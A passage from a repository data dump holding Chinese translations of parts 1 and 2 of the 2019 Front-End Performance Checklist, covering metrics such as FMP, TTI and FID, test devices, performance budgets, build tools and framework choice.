[收藏等待时间（PinnerWaitTime）](https://medium.com/@Pinterest_Engineering/driving-user-growth-with-performance-improvements-cfc50dafadd7)。对准确描述用户体验很有用，但不方便规模化以及与竞品比较。\n\n为了使性能画像更加完整，我们通常会在所有类型中都选择一些有用的指标。一般来说，最重要的是以下几个：\n\n*   [首次有效绘制（First Meaningful Paint，FMP）](https://developers.google.com/web/tools/lighthouse/audits/first-meaningful-paint)\n    \n    反映主要内容出现在页面上所需的时间，也侧面反映了服务器输出**任意**数据的速度。FMP 时间过长一般意味着 JavaScript 阻塞了主线程，也有可能是后端/服务器的问题。\n\n*   [首次可交互时间（Time to Interactive，TTI）](https://calibreapp.com/blog/time-to-interactive/)\n    \n    在此时间点，页面布局已经稳定，主要的网络字体已经可见，主线程已可以响应用户输入 — 基本上意味着只是用户可以与 UI 进行交互。是描述“网站可正常使用前，用户所需要**等待**的时长”的关键因素。\n\n*   [首次输入延迟（First Input Delay，FID 或 Input responsiveness）](https://developers.google.com/web/updates/2018/05/first-input-delay)\n    \n    从用户首次与页面交互，到网站能够响应该交互的时间。与 TTI 相辅相成，补全了画像中缺少的一块：在用户切实与网站交互后发生了什么。标准的 RUM 指标。有一个 [JavaScript 库](https://github.com/GoogleChromeLabs/first-input-delay) 可以在浏览器中测量 FID 耗时。\n\n*   [速度指数（Speed Index）](https://dev.to/borisschapira/web-performance-fundamentals-what-is-the-speed-index-2m5i)  \n    \n    衡量视觉上页面被内容充满的速度，数值越低越好。速度指数由视觉上的加载速度计算而得，只是一个计算值。同时对视口尺寸也很敏感，因此你需要根据目标用户设定测试配置的范围。（感谢 [Boris](https://twitter.com/borisschapira)！）\n\n*   CPU 耗时\n    \n    描述主线程处理有效负载时繁忙程度的指标，显示在绘制、渲染、运行脚本和加载时，主线程被阻塞的频次和时长。高的 CPU 耗时明显地意味着**卡顿的**用户体验。利用 WebPageTest，你可以[在 “Chrome” 标签页上选择 “Capture Dev Tools Timeline” 选项](https://deanhume.com/ten-things-you-didnt-know-about-webpagetest-org/)来暴露出可能的主线程崩溃（得益于 WebPageTest 可以在任何设备上运行）。\n\n*   [广告的影响（Ad Weight Impact）](https://calendar.perfplanet.com/2017/measuring-adweight/)  \n    \n    如果你的站点的利润主要来源于广告，那么追踪广告相关代码的体积就很有用了。Paddy Ganti 的[脚本](https://calendar.perfplanet.com/2017/measuring-adweight/)可以构筑两条 URL（一条有广告，一条没有），并且利用 WebPageTest 生成一个比较视频，并显示区别。\n\n*   偏离度指标（Deviation metrics）\n    \n    正如 [Wikipedia 的工程师所指出的](https://phabricator.wikimedia.org/phame/live/7/post/117/performance_testing_in_a_controlled_lab_environment_-_the_metrics/)，你的结果中数据的变化在一定程度上可以反映出设施的可靠性，以及你该花多少精力来关注这些偏离度和极端值。过大的变化意味着你很可能需要对目前设施的配置做一些调整，它也能帮助我们了解有某些页面是难以可靠地用指标衡量的，例如因为第三方脚本而导致的明显变化。另外，追踪浏览器版本也是个不错的主意，它可能帮助你获悉新版浏览器可以带来的性能变化。\n\n*   [自定义指标（Custom metrics）](https://speedcurve.com/blog/user-timing-and-custom-metrics/)  \n    \n    自定义指标可由具体业务和用户体验的需要专门设置。它需要你对**重要**像素、**关键**脚本、**必要** CSS 样式和**相关**静态资源有个清晰的概念，并能够测算用户需要多长时间来下载它们。关于这点，你可以使用 [Hero Rendering Times](https://speedcurve.com/blog/web-performance-monitoring-hero-times/) 或 [Performance API](https://css-tricks.com/breaking-performance-api/)，为重要业务事件创建时间戳。另外，你也可以通过在 WebPageTest 测试完成后运行自定义的脚本来[收集自定义的指标](https://sites.google.com/a/webpagetest.org/docs/using-webpagetest/custom-metrics)。\n\nSteve Souders 写了[一篇文章](https://speedcurve.com/blog/rendering-metrics/)详细地介绍了各个指标。需要注意的是：首次交互时间是在**实验环境**下通过自动化审查得到的，而首次输入延迟则表示**真实**用户在使用中感受到的**实际**延迟。总而言之，始终观测和追踪这两个指标会是个好主意。\n\n不同的应用，偏好的指标可能会不同。举个例子，对于 Netflix TV 的 UI 界面而言，[关键输入响应、内存使用和首次可交互时间]((https://medium.com/netflix-techblog/crafting-a-high-performance-tv-user-interface-using-react-3350e5a6ad3b))会更重要些，而对于 Wikipedia，[首末视觉变化和 CPU 耗时指标](https://phabricator.wikimedia.org/phame/live/7/post/117/performance_testing_in_a_controlled_lab_environment_-_the_metrics/)会显得更重要些。\n\n**注意**：FID 和 TTI 都不关心滚动表现。滚动事件可以独立发生，因为它是主线程外的。因此，对于许多内容为主的站点而言，这些指标可能并不是很重要。（**感谢 Patrick！**）。\n\n[![](https://res.cloudinary.com/indysigner/image/fetch/f_auto,q_auto/w_400/https://cloud.netlifyusercontent.com/assets/344dbf88-fdf9-42bb-adb4-46f01eedd629/5d80f91c-9807-4565-b616-a4735fcd4949/network-requests-first-input-delay.png)](https://twitter.com/__treo/status/1068163152783835136) \n\n以用户为中心的性能指标可以帮助更好地了解真实用户体验。[首次输入延迟（FID）](https://developers.google.com/web/updates/2018/05/first-input-delay)是一个尝试去实现这一目标的新指标。（[戳此了解详情](https://cloud.netlifyusercontent.com/assets/344dbf88-fdf9-42bb-adb4-46f01eedd629/5d80f91c-9807-4565-b616-a4735fcd4949/network-requests-first-input-delay.png)）\n\n#### 4. 在目标用户的典型设备上收集数据\n\n为了得到准确的数据，我们需要选择合适的测试设备。[Moto G4](https://twitter.com/katiehempenius/statuses/1067969800205422593) 会是一个不错的选择，或者是 Samsung 的一款中端产品，又或者是一款如 Nexus 5X 一样中庸的设备，以及 Alcatel 1X 这样的低端设备。你可以在 [open device lab](https://www.smashingmagazine.com/2016/11/worlds-best-open-device-labs/) 找到这些。如果想在更慢的设备上测试，你可以花差不多 $100 买一台 Nexus 2。\n\n如果你手上没有合适的设备，你可以通过网络限速（比如：150ms RTT，下行 1.5Mbps，上行 0.7Mbps）以及 CPU 限速（慢 5 倍）在电脑上模拟移动端体验。然后，再切换到普通 3G、4G 和 WIFI 网络进行测试。为了使性能影响更加明显，你甚至可以引入 [2G 星期二](https://www.theverge.com/2015/10/28/9625062/facebook-2g-tuesdays-slow-internet-developing-world)，或者为了更方便测试，在办公室[限制 3G 网络](https://twitter.com/thommaskelly/status/938127039403610112)。\n\n时刻记着：在移动设备上，运行速度应该会比在桌面设备上慢 4-5 倍。移动设备具有不同的 GPU、CPU、内存、电池特性。如果说慢速网络制约了下载时间的话，那么手机较为慢速的 CPU 则制约了解析时间。事实上，移动设备上的解析时间通常要比桌面设备[长 36%](https://github.com/GoogleChromeLabs/discovery/issues/1)。因此，一定要[在一部平均水准的设备上进行测试](https://www.webpagetest.org/easy) — 一部你的用户中最具代表性的设备。\n\n[![Introducing the slowest day of the week](https://res.cloudinary.com/indysigner/image/fetch/f_auto,q_auto/w_400/https://cloud.netlifyusercontent.com/assets/344dbf88-fdf9-42bb-adb4-46f01eedd629/dfe1a4ec-2088-4e39-8a39-9f2010380a53/tuesday-2g-opt.png)](https://www.theverge.com/2015/10/28/9625062/facebook-2g-tuesdays-slow-internet-developing-world)\n\n在一周中选择一天让网速变慢。Facebook 就有 [2G 星期二](https://www.theverge.com/2015/10/28/9625062/facebook-2g-tuesdays-slow-internet-developing-world)来提高对低速网络的关注。（[图片来源](http://www.businessinsider.com/facebook-2g-tuesdays-to-slow-employee-internet-speeds-down-2015-10?IR=T)）\n\n幸运的是，有很多工具可以帮你自动化完成数据收集、评估上述性能指标随时间变化趋势。记住，一个好的性能画像应该包括一套完整的性能指标、[实验数据和实际数据](https://developers.google.com/web/fundamentals/performance/speed-tools/)。\n\n*   **集成测试工具**可以在预先规定了设备和网络配置的可复制环境中收集**实验数据**。例如：**Lighthouse**、**WebPageTest**\n*   **真实用户监测（RUM）** 工具可以持续评估用户交互，收集实际数据。例如，**SpeedCurve**、**New Relic**，两者也都提供集成测试工具。\n\n前者在**开发阶段**会非常有用，它可以帮助你在开发过程中发现、隔离、修复性能问题。后者在**维护阶段**会很有用，它可以帮助你了解性能瓶颈在哪儿，因为这都是真实用户产生的数据。\n\n通过深入了解浏览器内置的 RUM API，如 [Navigation Timing](https://developer.mozilla.org/en-US/docs/Web/API/Navigation_timing_API)、[Resource Timing](https://developer.mozilla.org/en-US/docs/Web/API/Resource_Timing_API)、[Paint Timing](https://css-tricks.com/paint-timing-api/)、[Long Tasks](https://w3c.github.io/longtasks/) 等，集成测试和 RUM 两者搭配构建出完整的性能画像。你可以使用 [PWMetrics](https://github.com/paulirish/pwmetrics)、[Calibre](https://calibreapp.com), [SpeedCurve](https://speedcurve.com/)、[mPulse](https://www.soasta.com/performance-monitoring/) 和 [Boomerang](https://github.com/yahoo/boomerang)、[Sitespeed.io](https://www.sitespeed.io/) 来进行性能监测，它们都是不错的选择。另外，利用 [Server Timing header](https://www.smashingmagazine.com/2018/10/performance-server-timing/)，你甚至可以同时监测后端和前端性能。\n\n**注意**: 建议使用浏览器外部的[网络节流器](https://calendar.perfplanet.com/2016/testing-with-realistic-networking-conditions/)，因为浏览器的 DevTools 可能会存在一些问题，比如：由于实现方法的原因，HTTP/2 push 可能会有问题。（感谢 Yoav 和 Patrick！）对于 Mac OS，我们可以用 [Network Link Conditioner](https://nshipster.com/network-link-conditioner/)；对于 Windows，可以用 [Windows Traffic Shaper](https://github.com/WPO-Foundation/win-shaper/releases)；对于 Linux，可以用 [netem](https://wiki.linuxfoundation.org/networking/netem)；对于 FreeBSD，可以用[dummynet](http://info.iet.unipi.it/~luigi/dummynet/)。\n\n[![Lighthouse](https://res.cloudinary.com/indysigner/image/fetch/f_auto,q_auto/w_400/https://cloud.netlifyusercontent.com/assets/344dbf88-fdf9-42bb-adb4-46f01eedd629/a85a91a7-fb37-4596-8658-a40c1900a0d6/lighthouse-screenshot.png)](https://developers.google.com/web/tools/lighthouse/) \n\n[Lighthouse](https://developers.google.com/web/tools/lighthouse/) — DevTools 自带的性能审查工具。\n\n#### 5. 为测试设立“纯净”、“接近真实用户”的浏览器配置（Profile）\n\n使用被动监控工具进行测试时，一个常见的做法是：关闭反病毒软件和 CPU 后台任务，关闭后台网络连接，使用没有安装任何插件的“干净的”浏览器配置，以避免结果失真。（[Firefox](https://developer.mozilla.org/en-US/docs/Mozilla/Firefox/Multiple_profiles)、[Chrome](https://support.google.com/chrome/answer/2364824?hl=en&co=GENIE.Platform=Desktop))。\n\n然而，了解你的用户通常会使用哪些插件也是个不错的主意，然后使用精心设计的“**接近真实用户的**”浏览器配置进行测试。事实上，某些插件可能会给你的应用带来[显著的性能影响](https://twitter.com/denar90_/statuses/1065712688037277696)。如果你有很多用户在使用这些插件，你可能需要考虑这些影响。“干净的”用户浏览器配置可能有些过于理想化了，可能会与实际情况大相径庭。\n\n#### 6. 与团队其他成员分享这份清单\n\n确保你的每一位同事都充分熟悉这份清单，从而避免在以后出现误解。每一个决策都会带来性能影响，整个项目会从前端开发者正确地对待性能问题而获益良多，从而使得团队中的每一个人都负起责任来，而不仅仅只是前端。根据性能预算和清单中定义的优先级来制定设计决策。\n\n> - **[译] [2019 前端性能优化年度总结 — 第一部分](https://github.com/xitu/gold-miner/blob/master/TODO1/front-end-performance-checklist-2019-pdf-pages-1.md)**\n> - [译] [2019 前端性能优化年度总结 — 第二部分](https://github.com/xitu/gold-miner/blob/master/TODO1/front-end-performance-checklist-2019-pdf-pages-2.md)\n> - [译] [2019 前端性能优化年度总结 — 第三部分](https://github.com/xitu/gold-miner/blob/master/TODO1/front-end-performance-checklist-2019-pdf-pages-3.md)\n> - [译] [2019 前端性能优化年度总结 — 第四部分](https://github.com/xitu/gold-miner/blob/master/TODO1/front-end-performance-checklist-2019-pdf-pages-4.md)\n> - [译] [2019 前端性能优化年度总结 — 第五部分](https://github.com/xitu/gold-miner/blob/master/TODO1/front-end-performance-checklist-2019-pdf-pages-5.md)\n> - [译] [2019 前端性能优化年度总结 — 第六部分](https://github.com/xitu/gold-miner/blob/master/TODO1/front-end-performance-checklist-2019-pdf-pages-6.md)\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/front-end-performance-checklist-2019-pdf-pages-2.md",
    "content": "> * 原文地址：[Front-End Performance Checklist 2019 — 2](https://www.smashingmagazine.com/2019/01/front-end-performance-checklist-2019-pdf-pages/)\n> * 原文作者：[Vitaly Friedman](https://www.smashingmagazine.com/author/vitaly-friedman)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/front-end-performance-checklist-2019-pdf-pages-2.md](https://github.com/xitu/gold-miner/blob/master/TODO1/front-end-performance-checklist-2019-pdf-pages-2.md)\n> * 译者：[格子熊](https://github.com/KarthusLorin)\n> * 校对者：[Ivocin](https://github.com/Ivocin)，[Fengziyin1234](https://github.com/Fengziyin1234)\n\n# 2019 前端性能优化年度总结 — 第二部分\n\n让 2019 来得更迅速吧~你正在阅读的是 2019 年前端性能优化年度总结，始于 2016。\n\n> - [译] [2019 前端性能优化年度总结 — 第一部分](https://github.com/xitu/gold-miner/blob/master/TODO1/front-end-performance-checklist-2019-pdf-pages-1.md)\n> - **[译] [2019 前端性能优化年度总结 — 第二部分](https://github.com/xitu/gold-miner/blob/master/TODO1/front-end-performance-checklist-2019-pdf-pages-2.md)**\n> - [译] [2019 前端性能优化年度总结 — 第三部分](https://github.com/xitu/gold-miner/blob/master/TODO1/front-end-performance-checklist-2019-pdf-pages-3.md)\n> - [译] [2019 前端性能优化年度总结 — 第四部分](https://github.com/xitu/gold-miner/blob/master/TODO1/front-end-performance-checklist-2019-pdf-pages-4.md)\n> - [译] [2019 前端性能优化年度总结 — 第五部分](https://github.com/xitu/gold-miner/blob/master/TODO1/front-end-performance-checklist-2019-pdf-pages-5.md)\n> - [译] [2019 前端性能优化年度总结 — 第六部分](https://github.com/xitu/gold-miner/blob/master/TODO1/front-end-performance-checklist-2019-pdf-pages-6.md)\n\n#### 目录\n\n- [设置切实可行的目标](#设置切实可行的目标)\n  - [7. 100 毫秒响应时间，60 fps](#7-100-毫秒响应时间60-fps)\n  - [8. 速度指数 < 1250，TTI（交互时间） < 5s（3G），关键文件大小 < 170KB（gzip 压缩后）](#8-速度指数--1250tti交互时间--5s3g关键文件大小--170kbgzip-压缩后)\n- [定义环境](#定义环境)\n  - [9. 选择并设置你的构建工具](#9-选择并设置你的构建工具)\n  - [10. 默认使用渐进增强](#10-默认使用渐进增强)\n  - [11. 选择一个高性能基准](#11-选择一个高性能基准)\n  - [12. 评估每个框架以及它们的依赖项](#12-评估每个框架以及它们的依赖项)\n  - [13. 考虑使用 PRPL 模式以及应用程序 shell 架构](#13-考虑使用-prpl-模式以及应用程序-shell-架构)\n  - [14. 你是否优化了各个 API 的性能？](#14-你是否优化了各个-api-的性能)\n  - [15. 你会使用 AMP 或 Instant Articles 吗？](#15-你会使用-amp-或-instant-articles-吗)\n  - [16. 明智地选择你的 CDN](#16-明智地选择你的-cdn)\n\n### 设置切实可行的目标\n\n#### 7. 100 毫秒响应时间，60 fps\n\n为了使用户感觉交互流畅，界面的响应时间不得超过 100ms。如果超过了这个时间，那么用户将会认为该应用程序是卡顿的。[RAIL，一个以用户为中心的性能模型](https://www.smashingmagazine.com/2015/10/rail-user-centric-model-performance/) 为你提供了健康的目标：为了达到 <100 毫秒的响应，页面必须在每 50 毫秒内将控制权交还给主线程。[预计输入延迟时间](https://developers.google.com/web/tools/lighthouse/audits/estimated-input-latency) 可以告诉我们是否到达了这个阈值，理想情况下，它应该小于 50 毫秒。对于像动画这样的（性能）高压点，如果可以，最好不要做任何事情。\n\n[![RAIL](https://res.cloudinary.com/indysigner/image/fetch/f_auto,q_auto/w_400/https://cloud.netlifyusercontent.com/assets/344dbf88-fdf9-42bb-adb4-46f01eedd629/c91c910d-e934-4610-9dc5-369ec9071b57/rail-perf-model-opt.png)](https://developers.google.com/web/fundamentals/performance/rail)\n    \n[RAIL](https://developers.google.com/web/fundamentals/performance/rail)，一个以用户为中心的性能模型。\n\n此外，每一帧动画应在 16 毫秒内完成，从而达到每秒 60 帧（1 秒 ÷ 60 = 16.6 毫秒）—— 最好在 10 毫秒以下。由于浏览器需要时间将新帧绘制到屏幕上，因此你的代码应在到达 16.6 毫秒的标记之前执行完成。我们开始讨论 120 fps（例如 iPad 的新屏幕以 120Hz 运行），而 Surma 已经覆盖了一些 120 fps 的 [渲染性能解决方案](https://dassur.ma/things/120fps/)，但这可能不是我们目前正关注的目标。\n\n对性能预期持悲观态度，但要 [在界面设计上保持乐观](https://www.smashingmagazine.com/2016/11/true-lies-of-optimistic-user-interfaces/) 并 [明智地使用空闲时间](https://philipwalton.com/articles/idle-until-urgent/)。显然，这些目标适用于运行时性能，而不是加载性能。\n\n#### 8. 速度指数 < 1250，TTI（交互时间） < 5s（3G），关键文件大小 < 170KB（gzip 压缩后）\n\n虽然很难实现，但最好将终级目标定为，首次绘制时间 1 秒以内，[速度指数](https://sites.google.com/a/webpagetest.org/docs/using-webpagetest/metrics/speed-index) 的值限制在 1250 以下。由于基准是模拟在价值 200 美元的 Android 手机（如 Moto G4）上，网络为 slow 3G，400ms RTT 和 400kbps 的传输速度，目标是 [交互时间低于 5 秒](https://www.youtube.com/watch?v=_srJ7eHS3IM&feature=youtu.be&t=6m21s)，对于重复访问，目标是低于 2 秒（只能通过 service worker 实现）。\n\n请注意，当谈到互动指标时，最好区分 [First CPU Idle 以及 Time to Interactive](https://calendar.perfplanet.com/2017/time-to-interactive-measuring-more-of-the-user-experience/)，以避免误解。前者是主要内容渲染后的最早点（其中页面至少有 5 秒的响应时间）。后者是页面可以始终响应输入的时间。（**感谢 Philip Walton ！**）\n\n我们有两个主要限制因素，限制我们制定一个 **合理的** 目标来保证网络内容的快速传输。一方面，由于 [TCP 慢启动](https://hpbn.co/building-blocks-of-tcp/#slow-start)，我们有着网络传输的限制。HTML 的前 14 KB是最关键的有效负载块——并且是第一次往返中唯一可以提供的预算（由于手机唤醒时间，这是在 400ms RTT 情况下 1 秒内获得的）。\n\n另一方面，内存和 CPU 有 **硬件限制**（稍后我们将详细讨论它们），原因是 JavaScript 的解析时间。为了实现第一段中所述目标，我们必须考虑 JavaScript 关键文件大小的预算。关于预算应该是多少有很多不同的意见（这应该由你的项目的本身决定），但是 gzip 压缩后预算为 170KB 的 JavaScript 已经需要花费 1s 才能在普通手机上进行解析和编译。假设解压缩时 170KB 扩展到 3 倍大小，那么解压缩后（0.7MB）时，那已经可能是 Moto G4 或 Nexus 2 上“用户体验的丧钟”。\n\n当然，你的数据可能显示你的客户没有使用这些设备，但是也许因为低下的性能导致你的服务无法访问，他们根本没有出现在你的分析中。事实上，Google 的 Alex Russels 建议将 [gzip 压缩后大小为 130-170KB](https://infrequently.org/2017/10/can-you-afford-it-real-world-web-performance-budgets/) 作为一个合理的上限，当超出这个预算时，你应该进行慎重考虑。在现实世界中，大多数产品都不是很接近（这个标准）；当今的 bundle 平均大小约为 [400KB](https://beta.httparchive.org/reports/state-of-javascript#bytesJs)，与 2015年末相比增长了 35%。在中等水平的移动设备上，**Time-To-Interactive** 占 30-35 秒。\n\n我们当然也可以超过 bundle 的大小预算。例如，我们可以根据浏览器主线程的活动设置性能预算，即在开始渲染之前进行绘制，或 [跟踪前端 CPU 热点](https://calendar.perfplanet.com/2017/tracking-cpu-with-long-tasks-api/)。[Calibre](https://calibreapp.com/)、[SpeedCurve](https://speedcurve.com/) 以及 [Bundlesize](https://github.com/siddharthkp/bundlesize) 等工具能够帮你控制预算，并且可以集成到你的构建过程中。\n\n此外，性能预算可能不应该是固定值。由于依赖网络连接，[性能预算应该（对不同的网络条件）进行适配](https://twitter.com/katiehempenius/status/1075478356311924737)，但无论他们如何使用，慢速连接上的负载更加“昂贵”。\n\n[![From 'Fast By Default: Modern Loading Best Practices' by Addy Osmani](https://res.cloudinary.com/indysigner/image/fetch/f_auto,q_auto/w_400/https://cloud.netlifyusercontent.com/assets/344dbf88-fdf9-42bb-adb4-46f01eedd629/3bb4ab9e-978a-4db0-83c3-57a93d70516d/file-size-budget-fast-default-addy-osmani-opt.png)](https://speakerdeck.com/addyosmani/fast-by-default-modern-loading-best-practices)\n\n[From Fast By Default: Modern loading best practices](https://speakerdeck.com/addyosmani/fast-by-default-modern-loading-best-practices) by Addy Osmani（幻灯片 19）\n\n[![](https://res.cloudinary.com/indysigner/image/fetch/f_auto,q_auto/w_400/https://cloud.netlifyusercontent.com/assets/344dbf88-fdf9-42bb-adb4-46f01eedd629/949e5601-04e7-48ee-91a5-10bd7af19a0f/perf-budgets-network-connection.jpg)](https://twitter.com/katiehempenius/status/1075478356311924737) \n\n性能预算应根据普通移动设备的网络条件进行调整。（图片来源：[Katie Hempenius](https://twitter.com/katiehempenius/status/1075478356311924737)）（[大图](https://cloud.netlifyusercontent.com/assets/344dbf88-fdf9-42bb-adb4-46f01eedd629/949e5601-04e7-48ee-91a5-10bd7af19a0f/perf-budgets-network-connection.jpg)）\n\n### 定义环境\n\n#### 9. 选择并设置你的构建工具\n\n[不要过分关注那些炫酷的东西。](https://2018.stateofjs.com/) 坚持你自己的构建环境，无论是 Grunt、Gulp、Webpack、Parcel 还是工具组合。只要你获得了所需结果，并且构建过程中没有任何问题，这就可以了。\n\n在构建工具中，Webpack 似乎是最成熟的工具，有数百个插件可用于优化构建大小。入门 Webpack 可能会很难。所以如果你想要入门，这里有一些很棒的资源：\n\n*   [Webpack documentation](https://webpack.js.org/concepts/) —— 显然，一个很好的起点，Webpack 也是如此。Raja Rao 写的 [Webpack — The Confusing Bits](https://medium.com/@rajaraodv/webpack-the-confusing-parts-58712f8fcad9) 以及 Andrew Welch 写的 [An Annotated Webpack Config](https://nystudio107.com/blog/an-annotated-webpack-4-config-for-frontend-web-development) 也是。\n\n*   Sean Learkin 有一个名为 [Webpack: The Core Concepts](https://webpack.academy/p/the-core-concepts) 的免费课程，Jeffrey Way 有一个名为 [Webpack for everyone](https://laracasts.com/series/webpack-for-everyone) 的免费课程。这两个课程都是深入 Webpack 的好资料。\n\n*   [Webpack Fundamentals](https://frontendmasters.com/courses/webpack-fundamentals/) 是一个时长为 4h 的非常全面的免费课程，由 Sean Larkin 创作，发布在 FrontendMasters。\n\n*   如果你稍微高级一点，Rowan Oulton 已经发布了一门 [Field Guide for Better Build Performance with Webpack](https://slack.engineering/keep-webpack-fast-a-field-guide-for-better-build-performance-f56a5995e8f1) 并且 Benedikt Rötsch 进行了一项关于优秀的研究 [putting Webpack bundle on a diet](https://www.contentful.com/blog/2017/10/27/put-your-webpack-bundle-on-a-diet-part-3/)。\n\n*   [Webpack examples](https://github.com/webpack/webpack/tree/master/examples) 包含数百个可以立即使用的 Webpack 配置，按主题和目的分类。还额外提供了一个 [Webpack 配置生成器](https://webpack.jakoblind.no/)，可以生成基本配置文件。\n\n*   [awesome-webpack](https://github.com/webpack-contrib/awesome-webpack) 是一个实用的 Webpack 资源，库和工具的精选列表，包括 Angular、React 和框架无关项目的文章、视频、课程、书籍和示例。\n\n#### 10. 默认使用渐进增强\n\n保持 [渐进增强](https://www.aaron-gustafson.com/notebook/insert-clickbait-headline-about-progressive-enhancement-here/) 作为前端架构和部署的指导原则是一个安全的选择。首先设计和构建核心体验，然后使用高级特性为支持的浏览器提升体验，创建 [弹性](https://resilientwebdesign.com/) 体验。如果你的网站在一台拥有着差劲网络、屏幕以及浏览器的慢速机器上运行的很快，那么它在一台拥有强力网络和浏览器的快速机器上只会运行地更快。\n\n#### 11. 选择一个高性能基准\n\n有很多未知因素影响加载——网络，热量限制，第三方脚本，缓存替换，解析器阻塞模式，磁盘 I/O，IPC 延迟，已安装的扩展，杀毒软件和防火墙，后台 CPU 任务，硬件和内存限制，L2/L3 缓存的差异和 RTTS 等。[JavaScript 的成本最高](https://medium.com/@addyosmani/the-cost-of-javascript-in-2018-7d8950fbb5d4)，此外默认情况下阻塞渲染的 web 字体以及图像也经常消耗过多内存。随着性能瓶颈[从服务器转移到客户端](https://calendar.perfplanet.com/2017/tracking-cpu-with-long-tasks-api/)，作为开发人员，我们必须更详细地考虑所有这些未知因素。\n\n由于 170KB 的预算已经包含关键路径 HTML/CSS/JavaScript、路由、状态管理、实用程序、框架和应用程序逻辑，我们必须彻底审核我们选择不同框架的 [网络传输成本，解析/编译时间和运行时成本](https://www.twitter.com/kristoferbaxter/status/908144931125858304)。\n\n正如 Seb Markbåge [所指出的](https://twitter.com/sebmarkbage/status/829733454119989248)，衡量框架启动成本的一个好方法是首先渲染一个视图，然后将其删除后重新渲染，因为它能告诉你框架如何压缩。首次渲染趋向于唤醒一堆懒洋洋的编译代码，一个更大的树可以在压缩时收益。第二次渲染基本上模拟了随着页面复杂性的提升，页面代码是如何重用影响性能特征的。\n\n[!['Fast By Default: Modern Loading Best Practices' by Addy Osmani](https://res.cloudinary.com/indysigner/image/fetch/f_auto,q_auto/w_400/https://cloud.netlifyusercontent.com/assets/344dbf88-fdf9-42bb-adb4-46f01eedd629/39c247a9-223f-4a6c-ae3d-db54a696ffcb/tti-budget-opt.png)](https://speakerdeck.com/addyosmani/fast-by-default-modern-loading-best-practices)\n\nFrom [Fast By Default: Modern Loading Best Practices](https://speakerdeck.com/addyosmani/fast-by-default-modern-loading-best-practices) by Addy Osmani（幻灯片 18, 19）。\n\n#### 12. 评估每个框架以及它们的依赖项\n\n现在，[并非每个项目都需要框架](https://twitter.com/jaffathecake/status/923805333268639744)，而且[不是每个单页应用的页面都需要加载框架](https://medium.com/dev-channel/a-netflix-web-performance-case-study-c0bcde26a9d9)。在 Netflix 的案例中，“删除 React，几个库以及对应的客户端代码将 JavaScript 总量减少了 200KB 以上，导致 [Netflix 登出主页的交互时间缩短了 50% 以上]((https://news.ycombinator.com/item?id=15567657))。”然后，团队利用用户在目标网页上花费的时间为用户可能使用的后续网页预读取 React（[详情请继续阅读](https://jakearchibald.com/2017/netflix-and-react/)）。\n\n这听起来很明显但是值得一提：一些项目也可以[从完全删除现有框架中收益]((https://twitter.com/jaffathecake/status/925320026411950080))。一旦选择了一个框架，你将至少使用它好几年，所以如果你需要使用它，请确保你的选择得到了[充分的考虑](https://medium.com/@ZombieCodeKill/choosing-a-javascript-framework-535745d0ab90#.2op7rjakk)。\n\nInian Parameshwaran [测量了排名前 50 的框架的性能足迹](https://youtu.be/wVY3-acLIoI?t=699)（针对[首次内容渲染](https://developers.google.com/web/tools/lighthouse/audits/first-contentful-paint)——从导航到浏览器从 DOM 渲染第一部分内容的时间）。Inian 发现，单独来说，Vue 和 Preact 是最快的——无论是桌面端还是移动端，其次是 React（[幻灯片](https://drive.google.com/file/d/1CoCQP7qyvkSQ4VG9L_PTWD5AF9wF28XT/view)）。你可以检查你的候选框架和它建议的体系结构，并研究大多数解决方案如何执行，例如平均而言，使用服务端渲染或者客户端渲染。\n\n基线性能成本很重要。根据 Ankur Sethi 的一项研究，“无论你对它的优化程度如何，你的 React 应用程序在印度的普通手机上的加载时间绝对不会低于 1.1 秒。你的 Angular 应用程序始终需要至少 2.7 秒才能启动。你的 Vue 应用程序的用户需要等待至少 1 秒才能开始使用它。”无论如何，你可能不会讲印度定位为主要市场，但是网络不佳的用户在访问你的网站是会获得类似的体验。作为交换，你的团队当然可以获得可维护性和开发人员效率。但这种考虑值得商榷。\n\n你可以通过探索功能、可访问性、稳定性、性能、包生态系统、社区、学习曲线、文档、工具、跟踪记录和团队来评估 Sacha Greif 的[12 点量表评分系统](https://medium.freecodecamp.org/the-12-things-you-need-to-consider-when-evaluating-any-new-javascript-library-3908c4ed3f49) 中的框架（或者任何其他 JavaScript 库）。但是在艰难的时间表上，在选择一个选项之前，最好至少考虑大小 + 初始解析时间的总成本；轻量级选项，如 [Preact](https://github.com/developit/preact)、[Inferno](https://github.com/infernojs/inferno)、[Vue](https://vuejs.org/)、[Svelte](https://svelte.technology/) 或者 [Polymer](https://github.com/Polymer/polymer)，都可以很好地完成工作。基线的大小将定义应用程序代码的约束。\n\n一个很好的起点是为你的应用程序选择一个好的默认堆栈。[Gatsby.js](http://gatsbyjs.org/)（React）、[Preact CLI](https://github.com/developit/preact-cli) 以及 [PWA Starter Kit](https://github.com/Polymer/pwa-starter-kit) 为中等移动硬件上的快速加载提供了合理的默认值。\n\n[![JavaScript processing times in 2018 by Addy Osmani](https://res.cloudinary.com/indysigner/image/fetch/f_auto,q_auto/w_400/https://cloud.netlifyusercontent.com/assets/344dbf88-fdf9-42bb-adb4-46f01eedd629/53363a80-48ae-4f91-aed0-69d292e6d7a2/2018-js-processing-times.png)](https://medium.com/@addyosmani/the-cost-of-javascript-in-2018-7d8950fbb5d4) \n\n（图片来源：[Addy 